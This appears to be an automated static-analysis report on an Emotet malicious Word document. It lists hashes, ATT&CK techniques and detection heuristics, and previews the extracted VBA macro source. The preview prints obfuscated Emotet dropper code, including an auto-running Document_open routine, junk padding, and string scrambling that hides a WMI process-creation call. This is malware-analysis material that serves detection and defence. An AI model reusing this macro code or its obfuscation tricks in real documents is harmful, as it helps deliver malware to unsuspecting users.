Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 2574cc530edef5a3…

MALICIOUS

Office (OLE)

233.7 KB Created: 2020-09-04 15:25:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: d24424dabf3b99e598b2e58602af95dc SHA-1: 8bbf16c9947884c21d366f1f5b5c0441b2cf21e4 SHA-256: 2574cc530edef5a3f31554e7b198bd97d685950d94d2536c2f7d41a4cfb31aeb
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for Emotet. The macro uses CreateObject to execute obfuscated code, likely to download and run a secondary payload. ClamAV detection further supports the Emotet family attribution.

Heuristics 6

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16302 bytes
SHA-256: 4740f60429a3febbdfa0aac300fee5d4eb8beeafbf7c821511dd3e633a7f4504
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "W43tz5hu38adp"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
W5fgr_h2apv = Array(Va6mk3u3fmalx + "Hpmmzw4klebidj7P4hezyoy8fe50t5 O8z4oz10rtz2lbyk7" + Thes7wazqts_l3k, Rgudf8dixg0y, Dmjncamh_k8p.M73h692rcbxkdg1, Wr50n4w1cbc31 + "Ersh9qens24r C761xnmvcyb00yrwf Ipz82f0bhis_df Zs6imqonye4rj03y2m")
End Sub


Attribute VB_Name = "Dmjncamh_k8p"
Attribute VB_Base = "0{BBDCBE7D-00FB-469B-A125-7BB6C62679C9}{560CB6AE-7364-4429-A534-6DFF5940AEAC}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function M73h692rcbxkdg1()
   On Error Resume Next
Select Case Pnt51nbdr60
Case "Soixsz40jo1mhtn"
Gfto057hhaxdoxni8x = (UIbjsahlkdas)
Gfto057hhaxdoxni8x = JHNklHS
Gfto057hhaxdoxni8x = Atn(ihKLNsad)
Gfto057hhaxdoxni8x = Log(323)
Case "L4z1l4buo5ixkbltr"
Gfto057hhaxdoxni8x = 288262913
Gfto057hhaxdoxni8x = u23ioyhiggukjjs
End Select
Select Case Okjruuh95hy
Case "Qhagyyfjh8nz"
Gfto057hhaxdoxni8x = 88383833333#
Gfto057hhaxdoxni8x = (qwlhusaidbwq)
Case "Rqgyhdg7d_cw"
Gfto057hhaxdoxni8x = lkqwhnekqwn
Gfto057hhaxdoxni8x = Log(345345)
Gfto057hhaxdoxni8x = Atn(jsghi2lklqw)
Gfto057hhaxdoxni8x = smbdjlsblkhwqewqd
End Select
O2943zhou0ta = 105
   On Error Resume Next
Select Case Pnt51nbdr60
Case "Soixsz40jo1mhtn"
Gfto057hhaxdoxni8x = (UIbjsahlkdas)
Gfto057hhaxdoxni8x = JHNklHS
Gfto057hhaxdoxni8x = Atn(ihKLNsad)
Gfto057hhaxdoxni8x = Log(323)
Case "L4z1l4buo5ixkbltr"
Gfto057hhaxdoxni8x = 288262913
Gfto057hhaxdoxni8x = u23ioyhiggukjjs
End Select
Select Case Okjruuh95hy
Case "Qhagyyfjh8nz"
Gfto057hhaxdoxni8x = 88383833333#
Gfto057hhaxdoxni8x = (qwlhusaidbwq)
Case "Rqgyhdg7d_cw"
Gfto057hhaxdoxni8x = lkqwhnekqwn
Gfto057hhaxdoxni8x = Log(345345)
Gfto057hhaxdoxni8x = Atn(jsghi2lklqw)
Gfto057hhaxdoxni8x = smbdjlsblkhwqewqd
End Select
P6196fob78q = Chr$(O2943zhou0ta + (10))
   On Error Resume Next
Select Case Pnt51nbdr60
Case "Soixsz40jo1mhtn"
Gfto057hhaxdoxni8x = (UIbjsahlkdas)
Gfto057hhaxdoxni8x = JHNklHS
Gfto057hhaxdoxni8x = Atn(ihKLNsad)
Gfto057hhaxdoxni8x = Log(323)
Case "L4z1l4buo5ixkbltr"
Gfto057hhaxdoxni8x = 288262913
Gfto057hhaxdoxni8x = u23ioyhiggukjjs
End Select
Select Case Okjruuh95hy
Case "Qhagyyfjh8nz"
Gfto057hhaxdoxni8x = 88383833333#
Gfto057hhaxdoxni8x = (qwlhusaidbwq)
Case "Rqgyhdg7d_cw"
Gfto057hhaxdoxni8x = lkqwhnekqwn
Gfto057hhaxdoxni8x = Log(345345)
Gfto057hhaxdoxni8x = Atn(jsghi2lklqw)
Gfto057hhaxdoxni8x = smbdjlsblkhwqewqd
End Select
U6ky2mw13up = "b3bb 17t2 fvhvhjb3bb 17t2 fvhvhjwb3bb 17t2 fvhvhjib3bb 17t2 fvhvhjnmb3bb 17t2 fvhvhjb3bb 17t2 fvhvhjgmb3bb 17t2 fvhvhjtb3bb 17t2 fvhvhjb3bb 17t2 fvhvhj" + P6196fob78q + "b3bb 17t2 fvhvhjb3bb 17t2 fvhvhj:b3bb 17t2 fvhvhjwb3bb 17t2 fvhvhjinb3bb 17t2 fvhvhjb3bb 17t2 fvhvhj3b3bb 17t2 fvhvhj2b3bb 17t2 fvhvhj_b3bb 17t2 fvhvhj" + Dmjncamh_k8p.Hocoho5vzpn3gp + "b3bb 17t2 fvhvhjrob3bb 17t2 fvhvhjb3bb 17t2 fvhvhjceb3bb 17t2 fvhvhjsb3bb 17t2 fvhvhjsb3bb 17t2 fvhvhj"
   On Error Resume Next
Select Case Pnt51nbdr60
Case "Soixsz40jo1mhtn"
Gfto057hhaxdoxni8x = (UIbjsahlkdas)
Gfto057hhaxdoxni8x = JHNklHS
Gfto057hhaxdoxni8x = Atn(ihKLNsad)
Gfto057hhaxdoxni8x = Log(323)
Case "L4z1l4buo5ixkbltr"
Gfto057hhaxdoxni8x = 288262913
Gfto057hhaxdoxni8x = u23ioyhiggukjjs
End Select
Select Case Okjruuh95hy
Case "Qhagyyfjh8nz"
Gfto057hhaxdoxni8x = 88383833333#
Gfto057hhaxdoxni8x = (qwlhusaidbwq)
Case "Rqgyhdg7d_cw"
Gfto057hhaxdoxni8x = lkqwhnekqwn
Gfto057hhaxdoxni8x = Log(345345)
Gfto057hhaxdoxni8x = Atn(jsghi2lklqw)
Gfto057hhaxdoxni8x = smbdjlsblkhwqewqd
End Select
Erxg89w_qk8x = Vons11gsgt99adyv4i(U6ky2mw13up)
   On Error Resume Next
Select Case Pnt51nbdr60
Case "Soixsz40jo1mhtn"
Gfto057hhaxdoxni8x = (UIbjsahlkdas)
Gfto05
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.